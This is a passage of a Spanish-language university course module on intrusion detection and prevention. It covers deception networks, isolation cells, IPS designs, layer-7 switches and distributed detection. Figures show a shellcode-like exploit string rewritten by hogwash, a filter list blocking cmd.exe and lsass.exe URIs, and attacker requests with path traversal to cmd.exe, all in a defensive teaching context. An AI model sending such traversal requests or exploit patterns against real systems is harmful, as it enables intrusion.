exterior. En la mayorı́a de situaciones, estas celdas de aislamiento son copias exactas de

los sistemas de producción reales hacia los que va dirigido el tráfico malicioso, proporcio-

nando de esta forma un escenario más créıble.

.

Al igual que los equipos de decepción, las celdas de aislamiento se pueden utilizar

para comprender mejor los métodos utilizados por los intrusos.

Bait and Switch...

es un ejemplo de herramienta
que podrı́a implementar la
idea de celda de aislamiento.
Se trata de una utilidad que
se instalará en un dispositivo
con tres interfaces de red y
que encamina el tráfico hostil
hacia la celda de aislamiento,
basándose en la utilización
de snort, iproute2,
netfilter y código propio
de la aplicación.

La siguiente figura muestra un esquema sencillo de una celda de aislamiento mediante el

productoBait and Switch:

Internet

Bait and

Switch

Celda

de aislamiento

Encaminador

Equipo de

producción

Tráfico normal

+

Tráfico malicioso

Tráfico

normal
Tráfico

malicioso
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5.4.3. Redes de decepción

Un enfoque ḿas avanzado que los anteriores consiste en la construcción de todo un seg-

mento de red compuestoúnicamente por equipos de decepción, preparados todos ellos para

engãnar a los intrusos (permitiendo su acceso sin demasiada dificultad).

Los equipos de este segmento ofrecerán servicios configurados de tal modo que puedan

atraer la atención a toda una comunidad de intrusos con el objetivo de registrar todos sus

movimientos mediante los equipos de la red de decepción.

La siguiente figura muestra un posible esquema para la construcción de este tipo de redes:

Internet

Equipo de

decepción

Equipo de

decepción

Equipo de

decepción

Encaminador

Equipo de

producción

Equipo de

producción

Equipo de

producción

Puerta de enlace

de la red de

decepción

(cortafuegos + IDS)

Como se puede ver en la figura anterior, una pasarela (que combina en su interior ele-

mentos de detección y de prevención) une la red de decepción con la red de producción.

Esta pasarela funciona en modo puente, de forma que se podrá prescindir de dirección IP,

reduciendo las posibilidades de detección por parte de los atacantes.

Todos los sistemas instalados dentro de la red de decepción tendŕan debeŕan ser sistemas

de decepcíon y ofreceŕan sus servicios de la forma más realista posible. Para ello, de-

beŕıan ofrecer servicios reales, como los que podrı́amos encontrar en cualquier equipo de

produccíon.
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Al no haber en estos equipos de decepción servicios simulados, todas las conclusiones

extráıdas durante el análisis de una intrusión se podŕan extrapolar directamente en la red

de produccíon real. Aśı, todas las deficiencias y debilidades que se descubran dentro de la

red de decepción podŕan servir para describir las existentes en la parte de producción.

El funcionamiento de la red de decepción se basa en un solo principio: todo el tráfico que

entra en cualquiera de sus equipos se debe considerar sospechoso.

A través de los mecanismos de detección instalados en la pasarela se realizará el proceso de

monitorizacíon, detectando ataques basados en tendencias o estadı́sticas ya conocidas. Sin

embargo, las posibilidades de investigar toda la actividad de una red de decepción debeŕıa

ayudar a detectar ataques desconocidos.

.

Las redes de decepción se deben contemplar como herramientas de análisis para

mejorar la seguridad de las redes de producción. Son una solución muy valiosa si

una organización puede dedicarle el tiempo y los recursos necesarios.
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5.5. Prevencíon de intrusos

.

.

*En inglés, Intrusion
Prevention Systems (IPS).Lossistemas de prevención de intrusos* son el resultado de unir las capacidad de

bloqueo de los mecanismos de prevención (encaminadores con filtrado de paquetes

y pasarelas) con las capacidades de análisis y monitoritacíon de los sistemas de

deteccíon de intrusos.

Como ya hemos visto en el primer apartado de este módulo did́actico, los sistemas de

deteccíon de intrusos pueden llegar a ser sistemas de seguridad proactivos. Pero gene-

ralmente los productos de detección más ampliamente implantados suelen serúnicamente

reactivos, es decir, esperan a que tenga lugar un ataque para emitir una alarma. Por el

contrario, los sistemas de prevención de intrusos son sistemas con capacidad de detener un

ataque o intrusión antes de quéeste pueda llegar a causar daños.

La mayor parte de especialistas consideran que estos sistemas de prevención son un caso

** Ved el artı́culo Ïntrusion
Prevention Systems: the Next
Step in the Evolution of
IDS”que encontraréis en la
página web
http://www.security-
focus.com/infocus-
/1670 para más
información.

especial de sistema de detección de intrusos, puesto que ambos sistemas comparten la

misma metodoloǵıa b́asica de detección. En realidad, la mayorı́a de expertos los considera

una evolucíon directa de los sistemas de detección de intrusos e se llegan a considerar

como la siguiente generación de estos sistemas**.

Aśı pues, el comportamiento de un sistema de prevención de intrusos es similar al de

un sistema de detección de intrusos de respuesta activa (los que disponen de unidad de

respuesta capaz de responder ante los ataques detectados), de forma que se encargan de

descartar o bloquear los paquetes sospechosos tan pronto como son identificados. Ası́,

todos los paquetes que pertenezcan a una misma sesión sospechosa (detectada a partir de

los sensores y los procesadores de eventos del sistema de prevención) seŕan eliminados de

la misma forma.

Algunos sistemas de prevención de intrusos también contemplan la posibilidad de detectar

-*** En inglés, Host based
Intrusion Prevention Systems
(HIPS).
-**** En inglés, Network
based Intrusion Prevention
Systems (NIPS).

anomaĺıas en el uso de protocolos, como paquetes manipulados malintencionadamente.

Atendiendo a la fuente de datos que utilicen, los sistemas de prevención de intrusos se

podŕıan clasificar en las dos categorı́as que la mayor parte de los elementos de detección

que hemos visto hasta ahora: basados en máquina* y basados en red**.
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En el primer caso, los sistemas de prevención de intrusos basados en equipo (HIPS) suelen

utilizar aplicaciones instaladas directamente en la máquina que hay que proteger. Estas

aplicaciones suelen estar muy relacionadas con el sistema operativo del sistema y sus ser-

vicios. El segundo grupo, sistemas de prevención de intrusos basados en red, suelen ser

dispositivos de red con al menos dos interfaces (una de monitorización interna y otra de

monitorizacíon externa), integrando en el mismo producto las capacidades de filtrado de

paquetes y motor de detección.

A continuacíon haremos un breve repaso sobre los modelos existentes más relevantes para

construir un sistema de prevención tal como acabamos de definir.

5.5.1. Sistemas de detección en ĺınea

La mayor parte de los productos y dispositivos existentes para la monitorización y detec-

ción de ataques en red se basan en la utilización de dos dispositivos de red diferenciados.

Por una parte, uno de los dispositivos se encarga de interceptar el tráfico de su segmento de

red, mientras que el otro se utiliza para efectuar tareas de gestión y administracíon. En la

siguiente figura vemos un ejemplo tı́pico de dispositivo de detección en modo de escucha,

conocido como sistemas de detección en ĺınea:

-* En inglés, tap mode.
-** En inglés, network tap.

NIDS in-line

ConmutadorNetwork Tap

Interficie de monitorización

Interficie de gestión

Encaminador

En el dispositivo de la figura, la interfaz de red utilizada para la monitorización est́a conec-

tada a un dispositivo de escucha** que le permite analizar el tráfico del segmento de red.

Además, esta interfaz no suele tener asignada ninguna dirección IP, disminuyendo de esta

forma las posibilidades de ser detectada. Con ello, un sistema de detección en ĺınea act́ua

en la capa de red del modelo TCP/IP, como si de un dispositivo puente se tratara.

Mediante una de las interfaces recibirá el tŕafico del exterior (potencialmente hostil), mien-

tras que por el otro podrá transmitir por la red que hay que proteger. Generalmente, estos

sistemas tienen una tercera interfaz para las tareas de administración y gestíon.
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Esta situacíon le permitiŕa un control total sobre el tráfico que pasa por el segmento de red

en el que está colocado. No śolo podŕa analizar todo el tráfico que reciba, sino que podrá

gestionar el ancho de banda.

Interficie

de

monitoritzación
Interficie de gestión

NIDS in-line

Conmutador
Interficie de monitoritzación

Encaminador

Una de las aplicaciones que podrı́amos utilizar para desarrollar esta idea es la herramientaHogwash

Ved la página web
http://hogwash.sour-
ceforge.net para más
información.

hogwash. Se trata de una utilidad de red que utiliza el procesador de eventos desnortpara

anular todo aquel tráfico malicioso encaminado contra la red que se quiere proteger.

Como herramienta de prevención,hogwashimplementa las capacidades de detección y de

bloqueo de tŕafico. Adicionalmente, también ofrece la opción de reescribir el tŕafico de

red. Aśı, si un atacante envı́a una peticíon maliciosa,hogwashpuede modificarla antes de

encaminar este tráfico hacia el otro segmento de la red: Snort ...

... es una de las
herramientas de detección
más utilizadas por la mayorı́a
de los sistemas de detección
actuales. Esta herramienta,
desarrollada bajo el
paradigma de software libre,
es capaz de realizar análisis
de tráfico de red en tiempo
real. Ved la página web
www.snort.org para más
información.

Interficie

de

monitorización

Interficie de gestión

Encaminador

HogWash
Conmutador

Interficie de monitorización

Exploit:
%90%90%.f%ff%af
%80%e8 /bin/bash

Exploit modificado:
%90%90%.f%ff%af
%00%a8 /vin/bash
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5.5.2. Conmutadores de nivel siete

Aunque los conmutadores han sido tradicionalmente dispositivos de nivel de red, la creci-

ente necesidad de trabajar con grandes anchos de banda ha provocado que vayan ganando

popularidad los conmutadores a nivel de aplicación (nivel siete del modelo OSI).

Estos dispositivos se suelen utilizar para realizar tareas de balanceo de carga de una aplica-

ción entre varios servidores. Para ello, examinan la información a nivel de aplicación (por

ejemplo HTTP, FTP, DNS, etc.) para tomar decisiones de encaminamiento. Adicional-

mente, estos mismos dispositivos podrán proporcionar protección frente a ataques contra

las redes que conmutan como, por ejemplo, descartar tráfico procedente de una denegación

de servicio.

En la siguiente figura podemos ver el procedimiento general de funcionamiento de un

conmutador de nivel siete:

Encaminador ConmutadorConmutador de nivel 7

Reglas de filtrado:

Drop URIContent == cmd.exe
Drop URIContent == ism.dll
Drop URIContent == Isass.exe

Peticiones HTTP de salida

GET /default.asp
HEAD /../../cmd.exe
HEAD /scripts/Isass.exe
GET /index.htm

Peticiones HTTP del atacante

GET /default.asp
GET /index.htm

Los ataques que mejor reconocen estos conmutadores de nivel siete son los ataques de

denegacíon de servicio. El motor de detección utilizado suele basarse en la detección

de usos indebidos, implementada en la mayorı́a de casos mediante el uso de patrones de

ataque.

Una de las primeras ventajas de trabajar con estos dispositivos es la posibilidad de realizar

detecciones de ataques en redes de alta velocidad conmutadas.

Otra ventaja, que no se encuentra en otros sistemas de prevención, es la posibilidad de re-

dundancia. Esta redundancia se puede conseguir con la utilización de sistemas secundarios

configurados para activarse en caso de fallo por parte de dispositivos primarios.
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5.5.3. Sistemas cortafuegos a nivel de aplicación

Los sistemas cortafuegos a nivel de aplicación, al igual que los conmutadores de nivel siete

que acabamos de ver, trabajan en el nivel de aplicación del modelo OSI. Se trata de unas

herramientas de prevención que se puede instalar directamente sobre el sistema final que

se quiere proteger.

Aparte de realizar un análisis sobre el tŕafico de red*, estos dispositivos se pueden con-

* Ved el módulo didáctico
Mecanismos de prevención
de este mismo material para
más información.

figurar para analizar eventos tales como la gestión de memoria, las llamadas al sistema o

intentos de conexión del sistema donde han sido instalados.

Aplicación

Servidor web

Sistema operativo

Paquete

Pila TCP/IP

Paquete decodificado

Interacción de usuario

Interacción de usuario Llamadas a la API

Llamadas a la API

Para realizar este tipo de análisis, se basan en la utilización de perfiles estadı́sticos. Esta

técnica se basa en una primera fase de inicialización de perfiles (fase de entrenamiento) y

una segunda fase en la que las acciones son comparadas por el sistema contra estos perfiles.

Durante la fase de entrenamiento, se procede a registrar la actividad de las aplicaciones

para elaborar un modelo de comportamiento que sirva para la detección de posibles intru-

siones, junto con una serie de polı́ticas de seguridad. Ası́, todas las acciones que no hayan

sido definidas durante la creación de perfiles serán identificadas como maliciosas por el

dispositivo y podŕan ser bloqueadas.

De los distintos esquemas de prevención que hemos visto hasta ahora,éste es eĺunico que

monitoriza la actividad en las aplicaciones y la relación entreéstas y el sistema operativo.

Además, podŕa ser instalado en cada máquina f́ısica que hay que proteger, lo cual garantiza

un alto nivel de personalización por parte de los administradores y usuarios finales.
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5.5.4. Conmutadores h́ıbridos

El último modelo de prevención de intrusos que veremos es una combinación de los con-

mutadores de nivel siete y de los sistemas cortafuegos a nivel de aplicación que acabamos

de presentar. Ası́, un conmutador h́ıbrido seŕa aquel dispositivo de red instalado como un

conmutador de nivel siete, pero sin utilizar conjuntos de reglas.

Su ḿetodo de detección est́a basado en polı́ticas, como el de los sistemas cortafuegos a

nivel de aplicacíon. Por lo tanto, estos conmutadores analizarán el tŕafico de red para

poder detectar información definida en las polı́ticas que tienen configuradas.

.

Como vemos en la figura anterior, el dispositivo tendrá conocimientos sobre el servidor

que protege (servidor FTP, HTTP, SMTP, . . . ), como cualquier otro conmutador de nivel

siete, pero también tendŕa conocimiento sobre las aplicaciones que se sitúan por encima.

Los conmutadores hı́bridos pueden combinarse con otros conmutadores de nivel siete pa-

ra reducir carga. Ası́, los conmutadores de nivel siete complementarios podrı́an redirigir

únicamente peticiones consideradas como potencialmente maliciosas, para que el conmu-

tador h́ıbrido finalice la detección.

* Ved el capı́tulo de
Deficiencias de programación
del primer módulo didáctico
de este mismo material para
más información

La combinacíon de un sistema cortafuegos a nivel de aplicación junto con un con-

mutador de nivel siete permite reducir problemas de seguridad asociados a una

programacíon deficiente*, aśı como la posibilidad de detectar ataques a nivel de

aplicacíon.

 FUOC • XP04/90789/00892



40 Mecanismospara ladetección deataques eintrusiones

5.6. Deteccíon de ataques distribuidos

.

Un caso de inteŕes especial dentro de los mecanismos de detección es el de la identifica-

ción de ataques distribuidos o coordinados. Un ejemplo de este tipo de ataques son las

denegaciones de servicio basadas en modelosmaster-slaveque hemos descrito en el pri-

mer ḿodulo de estos materiales. Este tipo de ataques, que no pueden ser indentificados

buscando patrones de forma aislada, deben ser detectados a partir de la combinación de

múltiples indicios encontrados en distintos equipos de una red monitorizada.

A continuacíon veremos, de forma muy resumida, las distintas propuestas que existen para

poder poner en correspondencia los eventos recogidos en distintos equipos de la red, a fin

de implementar una detección de ataques e intrusiones distribuida.

5.6.1. Esquemas tradicionales

Las primeras propuestas para extender la detección de ataques desde un equipo aislado

hacia un conjunto de equipos tratan de unificar la recogida de información utilizando es-

quemas y modelos centralizados. Ası́, estas propuestas plantean la instalación de sensores

en cada uno de los equipos que se desea proteger, configurados para poder retransmitir

toda la informacíon hacia un punto central de análisis.

Desde este punto central, toda la información recibida seŕa analizada utilizando distintos

métodos de detección (deteccíon basada en usos indebidos, detección basada en anomalı́as,

. . . ), como vemos en la siguiente figura:

SENSOR

Eventos

ANALIZADOR

SENSOR

SENSOR

SENSOR

SENSOR

SENSOR
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.

Este disẽno presenta un claro problema de sobrecarga sobre el punto central de

ańalisis, debido a la gran cantidad de información queéste podŕıa llegar a recibir.

La mayor parte de las soluciones existentes basadas en este esquema utilizan esquemas de

reduccíon de informacíon (realizando procesos de prefiltrado y compresión) para minimi-

zar este inconveniente.

.

Un prefiltrado masivo en los propios sensores reduce el flujo de información que

hay que transmitir hacia al componente central de procesado. Pero esta solución

no siempre es posible, puesto que existen situaciones en las que se hace imposible

decidir de forma local qúe tipo de informacíon es relevante para la detección.

Los sistemas que siguen esta propuesta de prefiltrado masivo a nivel de sensor corren el

riesgo de registrar altas tasas de falsos negativos, debido a la gran probabilidad de haber

descartado información necesaria en el proceso de filtrado.

.

Para solucionar los cuellos de botella observados en los esquemas de correlación de

eventos centralizada en redes de gran tamaño, es necesario plantearse nuevas pro-

puestas. Pero encontrar un esquema de reducción de informacíon eficiente, capaz

de aislarúnicamente información de relevancia en cualquier tipo de escenarios, es

verdaderamente difı́cil.

Una primera forma de solucionar parcialmente este inconveniente consiste en la realiza-

ción de una divisíon del punto central de recogida de información en distintos puntos de

recogida, organizados de forma jerárquica. De esta forma, tanto la carga en la red, al en-

viar todos los eventos a uńunico punto central, como la carga computacional, a causa de

la existencia de uńunico punto de ańalisis, es distribuida sobre un conjunto intermedio de

analizadores.

Aśı pues, esta segunda propuesta se basa en la utilización de nodos intermedios, dedicados

a observar toda la información relevante de uńarea de detección pequẽna y manejable.

Únicamente aquella información considerada como relevante para la detección global seŕa

transmitida al nodo raı́z.
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Como vemos en la figura siguiente, los analizadores intermedios examinarán eventos en

distintos dominios del conjunto global de la red, y enviarán sus resultados parciales a un

nodo ráız, que trataŕa de realizar las inferencias necesarias.

SENSOR

SENSOR

SENSOR

Dominio

ANALIZADOR

MAESTRO

ANALIZADOR

DEL DOMINIO

SENSOR

SENSOR

SENSOR

Dominio

ANALIZADOR

DEL DOMINIO

Aunque esta solución mueve las decisiones de prefiltrado a un nivel superior, padece la

misma probleḿatica que la propuesta centralizada. Mientras que cada una de lasáreas

es monitorizada completamente, la correlación global de sus eventos puede producir una

sobrecarga o una pérdida de información.

5.6.2. Ańalisis descentralizado

.

La recogida de eventos de forma distribuida crea una cantidad masiva de infor-

macíon que debe ser analizada, en la mayorı́a de las situaciones, bajo durı́simas

restricciones de tiempo real.

Dado que los diferentes fragmentos de información que podŕıan delatar un ataque

distribuido se pueden encontrar en cualquier equipo de la red, es realmente com-

plicado poder llegar a paralelizar este procesado de información.

Las dos posibles soluciones que hemos visto en el apartado anterior tratan de solventar

esta dificultad de paralelización mediante el prefiltrado de información en los sensores del

sistema y mediante la utilización de nodos intermedios.
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.

Las soluciones tradicionales son vulnerables a errores o a ataques deliberados con-

tra la infraestructura de procesado de eventos.

En el momento en que uno de los nodos centrales de procesamiento presente pro-

blemas, el sistema de detección se quedará ciego.

Con el objetivo de solucionar las dificultades inherentes a la recogida centralizada por parte

de nodos de procesado dedicados, han aparecido a lo largo de losúltimos ãnos nuevas

propuestas basadas en la realización de un ańalisis descentralizado de la información.

Aunque es realmente complicado identificar y analizar en paralelo distintos fragmentos

de informacíon, un algoritmo de detección descentralizado serı́a realmente efectivo para

solventar la probleḿatica planteada.

Dos de las propuestas existentes para implementar procesos descentralizados de análisis

de informacíon son, por un lado, la utilización de ćodigo ḿovil, y la utilización de nodos

cooperativos que realizan un proceso descentralizado de análisis mediante mecanismos de

paso de mensajes, por otro.

Análisis descentralizado mediante ćodigo móvil

Las propuestas basadas en código ḿovil para realizar una detección de ataques distribuidos

utilizan el paradigma de agentessoftwarepara mover los motores de detección por la red

que hay que vigilar (en forma de agente móvil). A medida que estos detectores móviles

vayan recogiendo la información que les ofrezcan los sensores, los agentes irán realizando

un proceso de análisis descentralizado.

Agente

Agencia nodo #1

Equipo #1

Eventos

Agencia nodo #2

Equipo #2

Eventos

Agencia nodo #3

Equipo #3

Eventos

Agencia nodo #4

Equipo #4

Eventos

Agencia nodo #5

Equipo #5

Eventos

Agencia nodo #6

Equipo #6

Eventos

Agente

Agente

Agente

Agente
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Los elementos de recogida de información (sensores) serán herramientas estáticas, es de-

cir, se ejecutaŕan en los equipos en los que se produzca la recogida de información y se

encargaŕan de hacerla llegar ḿas tarde a los agentes de análisis de informacíon que se

mueven por la red.

Mediante el ańalisis descentralizado realizado por parte de los agentessoftwareseŕa posi-

ble realizar el proceso de correlación de eventos y la creación de estad́ısticas sin necesidad

de elementos centrales.

Por otra parte, y a diferencia de los sistemas tradicionales que acabamos de ver, los agentes

podŕan moverse dińamicamente por el sistema, consiguiendo un mejor balance de la carga

y la evasíon de ataques potenciales contra sı́ mismos. Cuando las anomalı́as detectadas por

los agentes ḿoviles cubran un nivel de sospecha determinado, se podrán desplazar una se-

rie de agentes reactivos que serán enviados hacia los equipos involucrados para neutralizar

el ataque detectado.

Análisis descentralizado mediante paso de mensajes

Al igual que la propuesta anterior, este nuevo esquema trata de eliminar la necesidad de

nodos centrales o intermediarios ofreciendo, en lugar de una o más estaciones de moni-

torizacíon dedicadas (encargadas de recibir toda la información recogida), una serie de

elementos de control encargados de realizar operaciones similares de forma descentraliza-

da. Pero a diferencia del esquema basado en código ḿovil, estos nuevos elementos son

est́aticos y tan śolo necesitan una infraestructura común de paso de mensajes para realizar

su proceso de detección descentralizado.

Equipo #1

Analizadores

Equipo #2

Analizadores

Equipo #4

Analizadores

Equipo #3

Analizadores

Alarmas

Tan pronto como una acción que puede desencadenar en ataque es detectada por uno de

los elementos de control,ésta seŕa comunicada al resto de elementos involucrados. Ası́,

la informacíon recogida por los sensores no será transmitida mediante difusión a todos los

elementos de control, sino sólo a los elementos afectados o con información relacionada.
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Resumen

El objetivo de estéultimo módulo did́actico ha sido el de presentar toda una serie de ele-

mentos complementarios a los mecanismos de seguridad tradicionales. Estos elementos no

deben ser vistos como una alternativa, sino como un complemento necesario para poder

garantizar la seguridad de una red TCP/IP.

La gran cantidad de formas de abordar el problema de la detección de ataques e intrusi-

ones ha dado lugar a numerosas y variadas propuestas y soluciones. La mayor parte de

estas propuestas basan su capacidad de detección en la recogida de información desde una

gran variedad de fuentes de auditorı́a de sistema, analizando posteriormente estos datos de

distintas formas. Algunas consisten en comparar los datos recogidos con grandes bases de

datos de firmas de ataques ya conocidos, otros tratan de encontrar problemas relacionados

con usuarios autorizados que sobrepasan sus acciones permitidas en el sistema, o incluso

mediante el ańalisis estad́ıstico, buscando patrones que indiquen actividad anormal y que

no se hayan tenido en cuenta en los pasos anteriores.

Existen tambíen mecanismos de seguridad que tratan de mejorar el problema de la se-

guridad de una red desde un punto de vista mucho más activo. Tanto los mecanismos

de proteccíon de la informacíon como los mecanismos de prevención y deteccíon tradi-

cionales son utilizados para proteger los recursos de la red, detectando deficiencias en la

seguridad y reaccionando más tarde para solventar estos inconvenientes. Como novedad,

estos nuevos elementos cambian las reglas del juego, ofreciendo la posibilidad de tomar

la iniciativa utilizando t́ecnicas de monitorización para registrar y analizar las acciones de

los atacantes para aprender de sus conocimientos.

Una tercera categorı́a de elementos de detección que hemos visto trata de unir la capacidad

de bloqueo de los mecanismos de prevención con la capacidades de análisis de los sistemas

de deteccíon. Conocidos comosistemas de prevención de intrusos, estos nuevos elemen-

tos son considerados como la evolución lógica de los sistemas de detección de intrusos

tradicionales.

Por último, un caso de especial interés para los sistemas de detección son los ataques

distribuidos. Estos ataques no se pueden detectar de forma aislada, sino que es necesario

poner en correlación múltiples indicios encontrados en diferentes equipos de una red. Dos

de las propuestas ḿas utilizadas para poder construir sistemas capaces de detectar este tipo

de ataques son la utilización de nodos dedicados (mediante una arquitectura centralizada

o jeŕarquica) y la utilizacíon de nodos distribuidos (mediante una arquitectura basada en

código ḿovil o mediante la cooperación de nodos mediante un paso de mensajes).
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Glosario

Esćaner de vulnerabilidades: herramienta que permite comprobar si un sistema es vul-

nerable a un conjunto de problemas de seguridad.

Exploit: aplicacíon, generalmente escrita en C o ensamblador, que fuerza las condicio-

nes necesarias para aprovecharse de un error de programación que permite vulnerar su

seguridad.

Explotación de un servicio:actividad realizada por un atacante para conseguir privilegios

de administrador abusando de alguna deficiencia del sistema o de la red.

Ocultación de huellas: actividad ejecutada por un atacante (una vez producida la intru-

sión) para pasar desapercibido en el sistema.

Poĺıtica de seguridad:resultado de documentar las expectativas de seguridad de una red,

tratando de plasmar en el mundo real los conceptos abstractos de seguridad

Rootkit: recopilacíon de herramientas utilizadas en un ataque de intrusión para garantizar

la ocultacíon de huellas, garantizar futuras conexiones, realizar otros ataques al sistema,

etc.

Seguridad perimetral: seguridad basadáunicamente en la integración en la red de siste-

mas cortafuegos y otros mecanismos de prevención tradicionales.

Cortafuegos: elemento de prevención que realizaŕa un control de acceso para separar la

red de los equipos del exterior (potencialmente hostiles). En inglés,firewall.

Vigilancia de una red: actividad realizada por el atacante para tratar de aprender todo lo

que pueda sobre la red que quiere atacar, especialmente servicios vulnerables y errores de

configuracíon.
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